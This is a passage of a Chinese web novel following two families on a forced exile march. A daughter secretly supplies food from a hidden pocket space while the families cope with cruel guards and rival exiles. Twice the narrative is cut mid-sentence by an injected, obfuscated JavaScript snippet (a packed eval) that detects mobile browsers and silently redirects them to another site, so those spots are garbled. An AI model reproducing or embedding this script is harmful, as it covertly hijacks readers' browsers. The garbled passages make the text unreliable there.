过了许久,爹娘和妹妹回来,背篓里的芦花装得满满当当。 田清德跟顾稳小声说了两句,仿佛是在说回来这么晚,是为了采芦花吗,顾稳低声说是为了采芦花,为冬天做准备。 四周还有其他人没睡,看了眼顾家的背篓,有些人忍不住羡慕,羡慕过后又想哭。 几日之前,他们家多少棉被丝绸用不完,哪里会想到如今竟连芦花都看得如此重。不过几天而已,处境就已经是云泥之别。 不是每家都跟田家顾家这样有本事弄来背篓,不过这群流放之人中间也有聪明人,折了许多芦苇秆儿,自己动手编筐。 顾佑安把阿萱抱到自己怀里,对着火光看她脖子,杜氏也凑过来瞧。 脖子有点红,没有大碍。 杜氏侧身挡着一点,顾佑安弄了一小坨药膏,细细地给阿萱脖子擦了一遍,按摩了许久才作罢。 “睡吧,没事的。” “嗯。” 抱着阿萱这个小暖炉,顾佑安睡了过去。 顾家田家睡下了,旁边有几家的火堆烧了整晚。顾佑安第二天从母亲怀中醒来,看到那几家跟前放着几个新编的芦苇筐,还割了衣襟做绳,拴好了背在身上也勉强使得。 顾佑安低头看阿萱的脖子,白白嫩嫩的,没有留下痕迹。 杜氏摸摸大女儿的头发:“昨晚可睡得安稳?” 顾佑安点点头,她睡的很好,意外地没有做噩梦。 田二郎见她点头,心里震惊,昨儿见了血竟一点不怕,顾家的这个大女儿心思又狠又稳,不得了! 今早的早食又是清可见底的稀粥,杜氏把稀粥倒进陶罐里,两个鸭蛋打进去,底下添了一把火煮沸,就是鸡蛋粥了。 杜氏手快,不等人看清就把蛋壳扔火下烧了,笑道:“昨儿摘芦花时碰到一窝野鸭子,可惜野鸭子没捉到,只捡了两个鸭蛋回来。” 杜氏给田家盛了半碗,谢过田家这两日肯借陶锅的情谊。 白氏也没推辞,一家四口分着吃了,白氏吃出一点药味,就问道:“厨房的人把药罐卖给你们家了?还是十两银子?” 杜氏轻叹一声,没说话,白氏也就不问了。 利索吃了早食,等陶罐不烫了,顾文卿把陶罐塞芦花里,又把装着旧衣裳的包袱盖在面上,免得芦花乱飞。 就等着走了,驿站前头有人过来传话,说要稍等一等。 有人不满道:“眼瞧着今天是个大晴天,不趁早赶紧赶路,难道非要顶着大太阳赶路遭罪?” “你懂什么,昨晚上又死人了。” 顾佑安垂眸。 顾文卿压芦花的手微微捏成了拳头,竖起耳朵听人说话。 “谁死了?” “一对母女,不知道是哪家的,昨晚上吊死在房梁上。” “听说是孩子病了,为了药求人,给人睡了却没换来药,一时想不过才……” 物伤其类,心善的妇人们忍不住红了眼。 过了会儿又有人来传话,说是还失踪了一个人。 “谁跑了?” “张家二房的张武,你们谁认识?” 张家人啊,顿时所有人都没好脸色。 他们这些人落到流放的下场,固然有他们自己的缘由,不过若不是张平那老匹夫贪污太过,偷工减料,太湖怎么会再次决堤?朝廷不严查,他们这些人又怎么会被牵连? “张武可不是什么好东西,我看九成九是跑了。” “哼,这里离洛阳不算远,路上若是被官府抓到了,我看砍头都是轻的,凌迟了才好。” 张武虽只是张家二房的人,所有人对张家人都恨得牙痒痒的,除了幸灾乐祸再无其他。 这些话都叫顾文卿听在耳里,悄悄松了口气。 田二郎也在想,一晚上过去了,尸体指不定被冲到哪儿去了。 今日晚了半个时辰出发,为了赶路,跟昨天一样路上走的急,到下午时阿萱走不动了,顾稳背着她走。 今天顾家多了个装水的竹筒,一日的水够喝,加上慢慢习惯了这种强度的赶路,顾佑安感觉今天腿脚好受了许多。 昨儿洗了澡,今天又是一身臭汗,到驿站时只剩一丝天光了,乌云笼罩,今晚上只怕看不到月亮了。 这个驿站里依然住不下三百多人流犯,需得有人出去住。 顾稳和田清德看着天色犹豫起来,晚上好似有雨,这个时候若是淋雨,身子哪里扛得住。 能看天色的不仅是顾稳和田清德,有许多流犯也看出天色不对,说什么都要住驿站里,屋里挤得人都没地方躺,只能半坐着。 驿站里用来安置流犯的房间装满了人,不过一会儿,屋里夹杂的各种难闻的气味叫人迈不开脚,顾文卿在门口站了会儿就退出来。 “爹,咱们去后墙根底下住吧。” “先去后头看看。” 顾稳和杜氏夫妻俩都出身益州府,一个是爹娘早逝的秀才,一个是家中开药铺大夫之女。俩人出身寒门,就算过了许多年好日子,杜氏还是当初那个亲自操持家事,聪明能干的当家主母。 估计晚上要下雨,怕被雨淋着,杜氏去找白氏商量:“叫咱们两家的小子去弄些木棍和草来,咱们就着后墙根搭个草棚子,堵住三面,再留个出入的地方,晚上用旧衣裳挂着挡风。” 白氏也同意:“叫男人们都去,人多力量大,也好早点弄好歇息。” 男人们去找木棍和草,杜氏和白氏去前头领晚上的干饼子,顾佑安和妹妹留下守两家的行李。 “姐姐,肚子饿。” “知道你饿,且等等,一会儿娘拿好吃的回来了。” 阿萱扑到姐姐怀里:“才不好吃呢。” 阿萱趴在姐姐耳边问:“那个坏人今晚上还来不来欺负咱们?” 顾佑安心头一动,阿萱这个年纪还不懂什么叫死,在她心里,她只当坏人被打晕了,或是被赶跑了吧。 “不会了,坏人跑了。” 阿萱小声笑:“跑了才好。” 阿萱高兴地扭扭小屁股,又不高兴道:“姐姐,你身上硌着我了。” 轻拍她小屁股,顾佑安轻哼:“抱你就不错了,你还敢嫌弃。” 阿萱哈哈笑:“娘说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299814|167118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐姐太瘦啦,要像阿萱这样白白胖胖才好。” 顾佑安捏捏小丫头的脸蛋,这才流放几日,小丫头脸上的嘟嘟肉已经薄了一层了。 这些日子吃不好睡不好,还要顶着大太阳赶路,哪里能不瘦呢。也亏得这丫头心头敞亮,不爱哭也不爱闹,省了许多事。 姐俩玩了会儿,杜氏和白氏回来了。 顾佑安把妹妹递给她娘:“我去找我爹。” 杜氏把小女儿放地上,道:“叫你白婶守东西,我跟你一块儿去。” 白氏忙道:“你留下照顾阿萱,我跟安安去。” 杜氏爽朗地摆摆手:“我身子骨比你强,你就别跟我争了,你且坐下歇一歇。” 杜氏拉着女儿走,走到没人处,杜氏小声交代女儿:“知道你爱干净,今儿你可千万别洗,别叫人看出端倪来。” “我知道。” “你那处的东西,甭管吃的用的,都别随意拿出来。” “我心里有数,我只准备拿几个蛋出来。” “也不能拿,芦苇荡里有河,拿野鸭子当幌子勉强说得过去,这黑天黑地的,你就说碰到一窝野鸡别人不见得信。” “鸟蛋呢?” “什么鸟蛋?” 顾佑安堂舅家除了种蔬菜水果卖,还养着许多牲畜,鸡鸭鹅猪且不说,还养着一窝鹌鹑,上次堂舅给顾佑安送腊肉水果等,也给她装了十斤鹌鹑蛋,如今就在空间厨房冰箱里放着。 消失又出现,杜氏看着小小一个黑色斑纹的鸟蛋,点点头:“这说得过去,不过别拿多了。” 一窝鸟蛋有几个?十二三个不算多吧。 杜氏卷起衣兜装着十几个鹌鹑蛋,见到顾稳就欢喜迎过去道:“孩儿她爹,我捡柴火碰到一个鸟窝,晚上能添个菜了。” 顾文卿和田家两兄弟忙凑过来,顾文卿惊喜道:“娘,您运气可真好。” 杜氏笑了声,跟田家父子三人说:“你们先忙着,我回去打水煮蛋,这鸟蛋咱们两家一人一半。” 不等田清德客气拒绝,杜氏和女儿捧着鸟蛋,提着柴火就先回去了。 杜氏说话算话,分了一半鸟蛋给白氏。 顾佑安看着妹妹生火时,杜氏和白氏去打水来,先是把明日要喝的水烧沸了装好,又打水煮干饼子,鸟蛋打散了放锅里搅一搅。 等男人们回来时,锅里已经煮香了,田二郎叹道:“可惜,没有盐,盐才是百味之首,不吃盐人都没力气了。” “有得吃就不错了,还轮得上你挑?” 白氏骂小儿子一句,又说:“赶紧来吃,吃了再干活。” 今日后墙根底下只有田顾两家人,不用在乎别人的眼色,两家人吃饭时还能自在地说说话。 吃了晚食,男人们挽起胳膊搭草棚子,不用搭多大多好,勉强有个容身之所罢了。 等草棚子搭好,又在里头铺了些干草,睡在干草上,身上搭着旧衣裳,累了一天的顾佑安,抱着妹妹倒头就睡。 半夜,大雨噼里啪啦下起来,角落里滴水,顾佑安抱着妹妹往干燥的地方挪了挪,困得眼睛都没睁开。 天为被,地为床,这时候什么都阻挡不了她会周公。 7. 第 7 章 突然来的一场雨,淅淅沥沥从半夜下到早晨,看这雨势,上午只怕走不了了。 阿萱身上穿了三件衣裳,她不冷,可能是因为受了凉风,她一直捏着嗓子,说难受,趴在杜氏怀里闹腾。 顾佑安想到空间里还有崽崽用剩下的小儿感冒药,正想找个借口躲开人,杜氏却说:“安安抱着阿萱,我去前头一趟。” 过了会儿杜氏回来,手里拿着一把药草,说是银丹草,在屋檐下拔的。 顾佑安一看,这不是薄荷吗? 杜氏一边在屋檐下接着屋檐下的雨洗草药,一边说:“昨儿我就看到驿站屋檐下有一丛银丹草,这种草药乡下常见,碰到嗓子疼呀,风热呀,用这个煮水喝能顶些事。” 白氏帮把手,端着陶锅接雨水,笑着搭话:“也就是你聪明,懂得多,我却不懂这些。” “我娘家开着一家小药铺,我从小给家里打下手,把脉开方不会,药草还是认得一些的。不过我会的这些都是小道,比不得你出身举人家,懂写字画画的,这才是叫人羡慕不来的本事。” 白氏笑叹:“快别提了,我瞧着那些都是虚的,你这才是实在本事。” 此时白氏心里更加庆幸,跟顾家搭伙是好事,至少路上生病还能找些草药吃。 “我将才扯银丹草时听人说,驿站里病倒了好些人,若是身子骨差的,得不到救治,只怕又有人要没了性命。” 白氏叹息,蹲下烧火,也没了说笑的心思。 烧水没有干柴用,田二郎拆了一面墙的木头和干草,给他娘抱过去。 “这烧了可使的?” “怎么使不得,我看天上已经放亮了,这雨估摸下到中午也就停了,下午肯定要赶路的,这柴火留下也是白瞎。” 顾佑安跟着抬头看天,乌压压的,真看不出来雨要停下了。不轻不重地捶着腿,心里念叨,老天爷你多下一会儿吧,今天就别赶路了,叫我好好歇歇。 老天爷估计没听到顾佑安的心声,都没等到中午,半个时辰后雨就小了,一个时辰后雨就停了。 喝着暖乎乎的薄荷水,顾佑安看着天叹气。 唉,越是叹气,老天爷越跟她反着来,中午竟还出太阳了。 中午囫囵吃了白水煮干饼子,收拾收拾,准备上路了。 路上稀泥不好走路,为了爱惜好唯一一双布鞋,不管男女都挽起裤脚光脚上路。 这日后,后头几日没有太阳也没有雨,阴天吹着风,三五日后,地上干透了,不用在稀泥里搅合,赶路也不觉得累了。 差役的鞭子抽着,日日埋头赶路,一个个好似被驯服的牛,除了三个病逝的,一连许多日,再没人寻死。 认命了,都想求生,都想早日赶到流放地,能歇一歇。 顾佑安也不知道过了多少日子,这天中午走到一处驿站,顾佑安还惊讶了一下,毕竟之前从没有中午赶到驿站的。 “这儿是去东北和去西北的官道交叉路口,从今儿起,去西北的,去松江城的流犯,分开走。” 所有人麻木地站在原地不动,差役念到自己的名字,就走出人群站到空地上去。 顾家田家这些日子以来一直尽量走在人群中间,隐藏自己,这时念到名字被叫出来,顾佑安环顾四周,有种强烈的不安全感。 差役把官文往怀里一揣:“流放去松江城的就是你们四家了。哼,你们四家倒是贪生怕死,都走到这儿了,竟都还活着。” 顾佑安抬头看那差役一眼,这个人她记得,姓黄,是个领头的人,有几个差役都巴结他,叫他黄爷。 顾佑安再仔细一看,巴结黄差役的几个差役,都走了过来,显见他们是受黄差役的管,要去松江城的。 “坐下歇息,半个时辰后启程。” 黄差役抬头轻哼,指着所有人道:“咱们需在十月前到达山海关,日后若是谁敢耽误赶路,别怪你黄爷爷我的鞭子不讲情面。” 顾佑安听他爹跟田清德谈话时说过,洛阳距山海关两千余里,若是到了山海关,他们流放的三千里,就走了三分之二了。 山海关顾佑安知道,在河北秦皇岛,秦皇岛近海,为何去东北松江城要从那里绕路? 等黄差役走了,顾稳才道:“去松江城自然不止山海关一条道,只是其他道路不如山海关好走,一般去北方,大都选择从山海关过。” 顾佑安点点头,原来如此。 田清德忧心道:“顾兄,咱们日行五十里,就算路上不耽搁,抓紧赶路,等出了山海关天气就冷了。越往北走越冷得快,最后几百里路,咱们得顶着风雪走啊!” 没有御寒的衣物,没有保护脚的鞋袜,若是冻坏了手脚,就算勉强到了松江城,干不了活儿,也活不下去。 顾稳心里何尝不知。 女儿那处神秘之地里倒是不缺吃喝衣裳鞋袜,可惜太招人眼,不能拿出来用,需得想想其他法子。 田二郎凑过来:“爹,顾叔,你们可懂做弓箭?” 田清德和顾稳看向田二郎,顿时就知道了,这小子肯定惦记上了沿途山林里,野兽身上的皮毛。 君子六艺中就有骑射,田清德家贫,只勉强学了骑射,做弓箭却是不会的。 顾稳颔首:“略知一二,我以前在益州府学读书时,骑射的先生曾教导过。” 田二郎脸上一喜:“那咱们……” “不好说,刚才你也看到了,领头的那个姓黄的差役不是好相与的,不会任咱们施为。再者说,弓箭是兵器,咱们是流犯,差役防备咱们,会答应让咱们做弓箭?” 顾佑安低声道:“押送咱们去松江城的共有八名差役,他们只推了四辆推车,瞧着车上包袱不多。” 四辆推车上要放沿途驿站提供的干饼子和水,然后才是八名差役的行李。既能不辞辛苦出门当这差事,一想就知不是富裕人家,若是打得猎物分他们一些,指不定能答应。 都是聪明人,顾佑安的意思田清德和顾稳他们自然明白。 顾稳没把话说死,只道:“路上且看吧,若是行,咱们也能好过些。” 若是不行,他们还有一背篓芦花,勉强顶些事。 田清德打量顾佑安,笑着跟顾稳说:“我看你这个女儿,比我家两个儿子还强些。” 聪慧又仔细,还会拿捏人心,小小年纪能想到这些,很了不得了。 顾稳笑着摇头,谦虚道:“你家大郎稳重端方,二郎机警擅变,哪里是她一个小孩儿比得了的。” 两个当爹的互相谦虚起来,田二郎轻瞥这个顾家大姑娘一眼。 顾佑安瘦弱,这些日子又黑了,早没了内宅娇养出来的娇弱的女儿态,叫外人看来只是瘦竹竿,身上的囚衣穿着晃荡,跟黑煤窑里出来的人差不离。 纵使寥落到此,顾佑安说话时,微微抬眼,锐利清亮的凤眼叫人不敢因她是个小丫头就忽视之。 顾佑安对上田二郎的目光,她的眼睛冷泠泠的,田二郎顿时想到她对人起杀心时的模样,心头一颤,赶紧起身离开。 去松江城的一共四家人,田家跟顾家一路互相照料扶持着,关系早就亲如一家。 另外两家,李家和苏家,两家人各自占着一块儿地方,除了自己人外,也不跟其他人交流。 李家的当家人叫李洪文,原是户部右侍郎,他流放的罪名是贪污渎职。他收了张平的银子,洪湖修建堤坝做假账就是他牵的头,他流放真是一点都不冤枉。 公平讲,李洪文若不是礼部尚书柳勇的弟子和侄女婿,皇帝又宠爱出身柳家的柳贵妃,肯给柳家几分薄面,李洪文早该跟张平一起推到菜市场砍头了。 张家人一路上被其他流犯欺负,李家也差不多,叫人人唾弃之。 苏家的当家人苏光则不然,他被流放,比田清德这个主动找皇帝不痛快的御史还冤枉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15299815|167118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 苏光这个刑部侍郎既跟张平这些贪官污吏没牵扯,也没主动为其他牵连官员说话找皇帝不痛快,他被扣了个犯官的帽子,是因为多年前他还是翰林时,他是先皇亲指的祈王的五经先生。 当今皇帝厌恶曾跟他争夺皇位的祈望,看苏光不顺眼,要把他赶走。 若不是苏光当初做翰林学士时一心治学,主持修了前朝律法,在士林中颇有名望,又有许多官员肯为他求情。再加之,他是南人,只能流放去北方,只怕这会儿苏家人不该在这儿,应该在去琼州岛的路上。 中秋那日苏光下狱时,皇帝还跟身边心腹说,苏光那老头儿若是有命活到松江城,就叫他的好学生给他颐养天年吧。 皇帝嘴上这般说,暗地里下手却狠毒,怕祈望派兵去半路接苏光,苏光全家流放的消息被瞒得很紧。 按照皇帝的意思,苏光最好死在半路上。 田家、顾家、李家三家人都知道,若是活着到松江城,有苏光帮着说情,他们就算是流放官员,说不得还能在祈王手下谋个差事。 李洪文打得就是这个主意,这一路他多次跟苏家人搭话,因他所犯之事被苏家人看不起,苏家人对李洪文从来没有好脸色。 顾佑安默默啃干饼子,余光打量李洪文捧着笑脸跟苏光说话,苏光理都不理他,他面上也无一丝恼怒。 唾面自干的小人固然叫人看不起,却叫顾佑安对李洪文心生警惕,以后路上不可跟李家有牵扯。 为了前程连脸面尊严全都丢弃的人,等他以后抓到机会了,他对挡他路的人,手段只会更下作,更狠。 顾稳提醒女儿:“之前怎么样,以后就怎么样,李家、苏家,都跟咱们没关系。” “苏家那边……” 杜氏冷哼:“苏大人是个体面的,可恨他那个夫人陆氏,因出身官宦之家,是个自视甚高的,这个看不起那个瞧不上,咱们家跟这等人可搭不上话。” 听她娘这么说,顾佑安隐约记起,好似就是这位陆夫人跟她娘吵架,起因是陆夫人说她是个傻子。 苏家跟田家顾家相隔不远,杜氏说话时故意抬高声量,好叫苏家人都听到。 顾佑安无辜地眨眼,陆氏冷笑一声,扭头跟两个儿媳说:“你们都是出身好人家的,万不可学那些小心眼上不得台面,一点边角小事恨不得记一辈子,心比针尖儿还细。” 苏家两个儿媳在婆婆跟前说不上话,只出了一对耳朵听。 陆氏冷笑。 杜氏更是大声冷笑回去。 苏光也是无奈,吃不饱又要辛苦赶路,省点力气不好?又生气作甚? 见这般景象,田二郎猜到了,多嘴说顾佑安是傻子的,应该就是这位陆夫人了。 李洪文看着锅里情形,也看清楚了,苏家跟顾家不睦。 他们四家人,如今抛开顾家后,唯一有可能跟他争取苏家的,只有田清德了。 被李洪文这条毒蛇盯着,田清德轻哼,根本不搭理李洪文。 “都起来,出发上路!” 黄差役吃饱喝足从驿站出来,鞭子一甩,丝毫没把他们这些流犯放在眼里。 黄差役随意指了几个青壮:“你,你,还有你们两个,推车去。” 原来田家顾家一直走在人群之中,被使唤推车都是被排挤的那几家流犯。如今人少了,去松江城只他们四家,算上男女老幼,一共才二十余人,顾文卿被点到推车,只得过去。 顾家人都跟在顾文卿后头,田家也是一样。 那差役哈哈一笑:“正好,你们四家,一家负责一辆推车,倒是给爷们儿省事了。” 一鞭子甩地上,干硬的官道上激起一阵烟尘。 “赶快些!” 苏家跟那甩鞭子的差役离得近,刚才还压制着两个儿媳的陆氏,被吓了一跳,气闷,又不敢开口。 顾佑安注意到了,淡淡瞥开眼。 8. 第 8 章 杜氏跟陆氏不对付,面不和,心也不和。四家人重新上路后,顾苏两家人没靠近过。 李家跟苏家走在前头,顾家跟田家落后一截,两家主动隔开距离,倒是省了许多口舌之争。 顾家不接近苏家,田家跟顾家走一块儿,倒是方便了李洪文跟苏家套近乎。也不知苏光是被磨得没脾气还是怎的,几日后,李洪文跟苏光搭话,苏光偶尔也会含糊应一声。 家中男人松了口,两家女人们自然也开始有来往了。 苏光两个儿子儿媳,带着三个孙辈,还有一个今年刚及笄的老来女,每天靠着两个干饼子,一碗清可见底的汤混肚皮,这对苏家这等出身大族,从小没缺过嘴的人来说,有多艰难可想而知。 李洪文家虽说人口也多,不过李洪文的小妾张氏出身农家,张氏为报答当年李洪文葬父的恩情,跟着李家流放去松江城,这一路上靠着张氏沿途找来的野菜野果子,李家流放路上至少还有点贴补点肚子。 这不,李洪文跟苏家缓和关系后,张氏每日找来的野菜,不管多少,李洪文都会叫张氏给苏家送一些。 拿人手短吃人嘴软,接了李家的好处,李洪文之妻柳氏,她前去跟陆氏搭话,陆氏再瞧不上,也要答应着。陆氏自觉自己是为儿孙低的头。 答应着答应着,两家关系倒是越来越亲近了,李家今年才六岁唯一的大孙子李文旦,被李洪文教着,跟苏家孙辈苏余、苏灵、苏廷每日都走在一处。 路上有时歇在野外,田家跟顾家在一处搭棚子歇息,苏家跟李家也紧邻着,两家关系一日好过一日。 李洪文舍了脸皮贴上苏家,又温水煮青蛙,长眼睛的人自然看得明白。 有时候也不得不说,李洪文这样有手段、厚脸皮又有韧性的人,虽不讨喜,倒是让人小看不得。 今儿又歇在野外,差役给几家人分了昨儿在驿站拿的又粗又干的饼子,各家搭草棚子的搭草棚子,找柴火的,找水煮汤的,都忙了起来。 李家那个小妾今儿运气好,在林子里的水沟旁找到一窝野山药,杜氏和白氏都去瞧了,杜氏认出来是麻山药,估摸有四五斤,连说张氏运气好。 李洪文做主,山药给苏家分了两斤,给差役分了一斤,李家留两斤自家吃。 各家都吃饭了。 李洪文的小妾张氏又是找山药又是做饭,两斤山药她一块都没吃到嘴里,只喝了两口汤。 杜氏暗暗冷笑,借花献佛,倒是忘了谁把花找来的,都是些畜生。 杜氏为张氏不值,张氏默默坐到一边,并不吭声。 晚上各家歇息时,杜氏拉着两个女儿教导:“你们以后若是成婚了,夫家人档案室这般欺负你们,只管去厨下拿根烧火棍往死里打,爹娘给你们撑腰。” “阿娘,打谁呀?”阿萱不明白娘的话。 顾佑安听明白了,笑着点点头。 晚上没有灯火,一家人往草棚子里一躺,闭上眼就睡了。 顾佑安睡在最右边,身边挨着她娘,顾佑安消失,只有杜氏一人知道。 顾佑安重新回来,杜氏连忙扭身,顾佑安塞给她四个剥壳的冷鸡蛋,杜氏留了一个,又给传过去。 阿萱高兴要叫唤,一把被杜氏捂住嘴。 过了会儿,等杜氏松开手,阿萱嘿嘿一笑。黑暗中,珍惜地,一口一口吃完今天的鸡蛋,心满意足了,睡觉。 顾稳和顾文卿父子俩也吃完了鸡蛋,顾文卿小声问:“昨儿在驿站换的?” “别问,有的吃就吃。” 自四家重新上路以来,没有那么多眼盯着,顾佑安找准时机就要拿些吃的补贴一家五口的嘴巴,鸡蛋、鸭蛋、鹌鹑蛋这些都是常偷拿出来的,冰箱里存的早就吃完了,只能指望后院圈养的鸡鸭下蛋了。 顾文卿十分担心道:“咱们家不是计划着等到了山海关,要买些保暖的衣物?除此之外,还要买鞋,买些粮食,咱们手里的银子还剩下多少?” 他们一家五口出门时穿的鞋早就坏了,这会儿穿的是自己编的草鞋。下雪天草鞋不顶用,杜氏原本打算出关前想办法置办些衣食。 顾稳困了,懒得跟大儿子废话,把揣着的银袋子扔他怀里,顾文卿捏着袋子,惊奇地发现,银子怎么还多了些? 多的几两银子,当然是顾佑安拿出来的。 顾稳轻声道:“你娘藏的,你心里有数就行了,别出去乱说。” 顾文卿又不傻,当然不会乱说,他把银子给他爹,又想到以前家中仆人偷银子时的手段,不知道她娘是把银子藏头发里还是藏鞋子里了。 顾佑安靠着她娘听她爹和大哥说话,不过一会儿,她就睡过去了,半夜感觉身上冷,哆嗦了下。 实在是太困了,没醒过来,等到早上起来时,她身上多盖了一件衣裳。 “安安醒了。” “嗯。” 顾佑安起来,把身上的衣裳叠好塞包袱里。 顾文卿过来拆草棚子,干草都捆好了,一会儿走的时候要带走。 田家手脚快,不仅把干草收拾好了,早食也吃了,白氏过来说话道:“昨儿半夜突然冷了,我把两件旧衣裳都盖身上了才勉强过得,这若是到了关外冰天雪地里,我怕我晚上睡下,早上起来人都冻硬了。” “别说丧气话,会有办法的。” 杜氏把白氏拉到一边,俩人嘀嘀咕咕半晌,白氏想到身上偷藏的一把金线,她心里总算好受点。 杜氏跟白氏一块儿换洗过,知道她身上缠绕着一把金线,小声道:“金子固然值钱,金线的工价比金子还值钱。京城里的秀娘要找把金线都不容易,何况边关。等到了山海关,你把金线作价 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今天是个阴天,怕下雨,今儿赶路走得快,半下午阿萱走不动了,顾稳和杜氏一人背了一段路。 傍晚天阴沉得很,刚才跟路过的商队打听,下一个驿站在十里地之外,怕晚上下雨没处躲,黄差役催促着赶路,今晚上一定要歇在驿站。 还没到驿站天就黑了,领头的差役点了个火把,借着火把微弱的光,四家人推着木板车沿路跟着。 许多天没洗澡,身上早就臭了,顾佑安感觉自己鼻子早就被熏得不灵了,一阵风吹来,她鼻子似乎又好了,她闻到尘土的味道,似乎还有一丝水汽。 “赶快些,马上下雨了!” 不等差役催促,四家人又是推又是拉,聚在木板车四周,急急忙忙埋头赶路。 拐过一道弯,前头看到微弱的火光,差役大喜:“赶紧着些,马上到了。” 一行人赶到驿站,冷雨淅淅沥沥下起来,驿站的驿夫站在屋檐下叹了句:“这怕是今年最后一场雨了。” 言外之意,待入冬了,就该降雪了。 四家一行二十几人,驿站里今日无其他人入住,倒是方便了他们,四家人都能住进屋里躲雨避寒。 外头下着冷雨,又人生地不熟,黄差役他们也不怕流犯跑了。到了驿站后,花了几个大钱叫驿夫烧了菜来,还打了半斤酒,几个人吃喝一顿进屋歇息去了。 差役一歇,杜氏就坐不住了,把干饼子塞给儿子,跟白氏起身去找驿夫。 一刻钟后,杜氏叫顾稳父子俩去厨下抬热水。 等顾稳和古文卿去洗漱了,杜氏忙又跑去厨下烧水。 李家和苏家人见了,也拿了些私藏的钱物去找驿夫通融通融。 9. 第 9 章 借了驿站一间屋子,杜氏带着两个女儿进屋洗澡时,顾稳和顾文卿父子俩守在门外。 顾佑安叫她娘先洗。 杜氏自然知道大女儿的意思,她指着角落椅子道:“那你去那边坐着等等。” 顾佑安看过去,墙柱子边陲下的灰蓝色的布帘,帘子遮住了视线,她往那儿一坐,她娘洗澡时根本瞧不见她。 杜氏无所谓,主要是要避着阿萱一些。 杜氏带阿萱洗头洗澡,顾佑安躲开,转身进了空间。 这些日子进空间来,顾佑安都不敢照镜子,这会儿进洗浴间对着镜子瞧,头发油腻的一缕一缕的垂下来,撩头发时候指甲划过额头,指甲缝里一层灰黑色油垢,把顾佑安恶心坏了。 再也忍不了了,又洗又刷又泡,要不是想着娘还在外头等着她,她真还想再洗半个小时才出去。 顾佑安再出来时,杜氏看到她在帘子后露出半个身影,这才松了口气:“安安过来,帮你妹妹擦擦头发。” “好。” 顾佑安手里拿着两张吸水帕子,一张给她娘,一张自己拿着给阿萱擦头发。 身上洗干净,舒坦了,头发还没擦完,阿萱就睡着了,这会儿也不记得饿。 “等她睡一会儿,饿狠了自己就醒了。” 杜氏把头发擦到半干,小声跟大女儿说:“这帕子真好用。” “反正天黑瞧不见,这帕子也不显眼,不如把爹和大哥叫进来,给他们也擦擦头发?免得头发久久不干,受凉就不好了。” “不用,他们男人家顶得住。”杜氏怕大儿子看出端倪来。 顾佑安的发根出来时就吹干了,只发梢还有些湿气,杜氏摸了一把,就说:“行了,你抱阿萱去屋里,我叫你爹他们来抬水出去倒了。” 杜氏叹道:“管厨房的那个驿夫是个心善的,一会儿我带你爹和你哥去厨房坐一坐,里头暖和,头发也能干快些。” “嗯。” 顾佑安抱着阿萱回去,屋里烧了两个火炉子,田家的陶锅坐在火炉子上,炉子里的汤水滚沸。 顾家和田家这边锅里煮的是撕碎的干饼子,里头放了一把干菜。田家男人们都不在,只有白氏坐在干草上烤头发,顺便看着火。 斜对角,李家和苏家那边锅里传来红薯的味道,应是跟驿夫买的。 顾佑安坐过去,把阿萱放她膝盖上,火炉子熏得她全身暖洋洋的,顾佑安用手指,有一下没一下地梳着阿萱的头发。 白氏问:“你爹娘他们怎么还没回来?” “去厨房烤头发去了,咱们这儿一个火炉子坐不开。” 白氏淡笑道:“也是,你田叔他们也去厨房了。” 白氏给了几个钱,打发父子三个去找门路,看看能不能买些有用的东西,鞋袜粮食都行。 顾佑安自然明白白氏的意思,这个驿站的驿夫不像那些穷凶极恶之人,见他们是流犯就下狠手欺负他们,求一求,说不定就肯帮他们一把。 驿站外头的冷雨淅淅沥沥,屋里暖融融的叫人心醉。 阿萱睡了会儿饿醒了,迷迷糊糊吃了些饼子和干菜煮得糊糊,顾佑安带她去方便再回来,她趴干草上一会儿又睡着了。 顾佑安吃了晚食,等了会儿不见爹娘回来,她等着等着,来了困意。白氏叫她先睡,这里有她看着,顾佑安放下心来,闭上了眼。 半夜,杜氏他们回来了,顾佑安被吵醒,睡意未消,睁眼看了一眼,又闭眼睡了。 第二天早晨起来,外头的雨停了,官道湿滑不好走,那也停留不得。 穿着草鞋上路,突出去脚趾头碰到稀泥,冷冰冰的难受,天儿又冷了。 一场秋雨一场寒,老话说的不假。 赶路辛苦,唯一值得高兴的事是有好吃的喂肚子。四家人都在上个驿站买了吃的,顾家人买了酸菜包子,晚上一人吃一个,那叫一个香。 辛苦一日,能有一口好吃的,也算小有安慰了。 晚上歇息,顾佑安脚冷,又不想盖在身上的旧衣裳沾了泥,只能往脚上盖了些干草,勉强挡挡寒。 流放这一路,吃不好睡不好还受凉,她真怕身上落下什么病根治不好。 不过这会儿顾不上这些,只能咬牙坚持着。 一边担心下雨影响赶路,一边担心天儿冷得太快叫他们受不住,这两天赶路赶得格外急。 眼看着快到山海关了,顾稳主动去跟差役套近乎。 除了他们这些流犯之外,八名差役中,只有一人曾去过松江城,还是夏去的,差役们其实也害怕关外的风雪。 顾稳早就知道了,这些差役若不是为了借公干的名义去松江城买些药材皮货,来年送回洛阳卖,只怕也不会接这趟差事。 顾稳抓住他们的心思,主动道:“关外风雪甚大,下一晚上雪就能淹到大腿处,若是准备不及,穿草鞋在雪地里走一日,脚趾头都要冻掉了。” “你有何话讲?” 